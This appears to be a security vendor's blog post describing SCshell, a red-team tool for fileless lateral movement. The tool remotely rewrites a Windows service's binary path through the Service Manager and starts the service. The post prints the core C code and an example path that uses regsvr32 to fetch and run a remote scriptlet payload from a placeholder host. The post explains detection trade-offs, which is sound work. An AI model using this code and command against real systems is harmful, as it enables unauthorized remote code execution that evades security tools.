Trustwave SpiderLabs Uncovers Critical Cybersecurity Vulnerabilities Exposing Manufacturers to Costly Attacks. Learn More

Trustwave SpiderLabs Uncovers Critical Cybersecurity Vulnerabilities Exposing Manufacturers to Costly Attacks. Learn More

Services
Capture
Managed Detection & Response

Eradicate cyberthreats with world-class intel and expertise

twi-cloud-lock-color-svg
Managed Security Services

Expand your team’s capabilities and strengthen your security posture

twi-briefcase-color-svg
Consulting & Professional Services

Tap into our global team of tenured cybersecurity specialists

twi-dashboard-color-svg
Penetration Testing

Subscription- or project-based testing, delivered by global experts

twi-database-color-svg
Database Security

Get ahead of database risk, protect data and exceed compliance requirements

twi-email-color-svg
Email Security & Management

Catch email threats others miss with layered security & maximum control

twi-managed-portal-color
Co-Managed SOC (SIEM)

Eliminate alert fatigue, focus your SecOps team, stop threats fast, and reduce cyber risk

Solutions
BY TOPIC
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
The Trustwave Approach
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Platform
SpiderLabs Fusion Center
Security Operations Centers
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

SCshell: Fileless Lateral Movement Using Service Manager

During red team engagements, lateral movement in a network is crucial. In addition, as a critical part of exploit chains, security solutions put a lot of effort to detect this movement. Techniques such as remote WMI and PsExec are fairly well detected. In the case of WMI, WmiPrvSe.exe will be the parent process responsible for spawning the process, making the detection a bit easier. PsExec on its end will push a file on the remote system and register a new service. Detecting the file and service creation may prevent the attack from succeeding.

In an attempt to use a technique that does not present the same behavior, I've developed a new tool I call SCshell. It is a fileless technique as long as your final payload does not drop a file on disk or does not need a file to work. It relies on the service manager capability to remotely modify a service binary path name via the ChangeServiceConfigA API.

Technical Details

As a first step it creates the authentication context this is achieved using LogonUserA API and ImpersonateLoggedOnUserA.

Image004

Once the process acquired the right authentication context, the Service Manager is remotely open using OpenSCManagerA.

SC_HANDLE schManager = OpenSCManagerA(targetHost, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); if(schManager == NULL) { printf("OpenSCManagerA failed %ld\n", GetLastError()); ExitProcess(0); } printf("SC_HANDLE Manager 0x%p\n", schManager);

This next portion of code is responsible of opening the remote service using OpenServiceA API. The service is provided as an argument.

printf("Opening %s\n", serviceName); SC_HANDLE schService = OpenServiceA(schManager, serviceName, SERVICE_ALL_ACCESS); if(schService == NULL) { printf("OpenServiceA failed %ld\n", GetLastError()); ExitProcess(0); } printf("SC_HANDLE Service 0x%p\n", schService);

The magic is happening by calling the ChangeServiceConfigA API. The API fifth argument is the binary path used to launch the service.

Struct

As stated in Microsoft documentation argument can be supplied as part of the binary path name.

Microsoft

From an attacker perspective this means that we can run arbitrary command by setting the binary path name to something like:

“C:\windows\system32\cmd.exe /c regsvr32 /s /n /u /i://your.website/payload.sct scrobj.dll“

The call to ChangeServiceConfigA to setting the binary path name to the payload supplied.

bResult = FALSE; bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, payload, NULL, NULL, NULL, NULL, NULL, NULL); if(!bResult) { printf("ChangeServiceConfigA failed to update the service path. %ld\n", GetLastError()); ExitProcess(0); } printf("Service path was changed to \"%s\"\n", payload);

Finally, the service is started via StartServiceA.

bResult = FALSE; bResult = StartServiceA(schService, NULL, NULL); DWORD dwResult = GetLastError(); if(!bResult && dwResult != 1053) { printf("StartServiceA failed to start the service. %ld\n", GetLastError()); } else { printf("Service was started\n"); }

Note that the error check excludes the error code 1053 which stands for: The service did not respond to the start or control request in a timely fashion.

Due to the fact that the command is not launching a service, there is a good chance that the call to StartServiceA will trigger this error. If it is the case, the StartServiceA call still executes the code but can’t properly start it as a service. At this point, you have executed your payload on the remote system.

The network capture confirms that the Windows APIs were called as expected.

Network

This technique performs all the authentication and execution over DCERPC and SVCCTL.

In conclusion, this technique uses a slightly different approach and does not require dropping files and registering services. Default Windows installation provides a lot of not super useful services that can be targeted such as XblAuthManager which is the service behind “Xbox Accessory Management Service”. The lack of service registration and file creation reduces the number of artifacts that might be observed by a security solution.

The tool that leverage this technique was released at https://github.com/SpiderLabs/SCShell

 

Latest SpiderLabs Blogs

Trustwave SpiderLabs Report: LockBit 3.0 Ransomware Vs. the Manufacturing Sector

As the manufacturing sector continues its digital transformation, Operational Technology (OT), Industrial Control Systems (ICS), and Supervisory Control and Data Acquisition (SCADA) are becoming...

Read More

Overview of the Cyberwarfare used in Israel – Hamas War

On October 7, 2023, the Palestinian organization Hamas launched the biggest attack on Israel in years, resulting in numerous casualties and hostages taken. Israel responded with a large-scale ground...

Read More

The 2023 Retail Services Sector Threat Landscape: A Trustwave Threat Intelligence Briefing

The annual holiday shopping season is poised for a surge in spending, a fact well-known to retailers, consumers, and cybercriminals alike. The latter group, however, is poised to exploit any...

Read More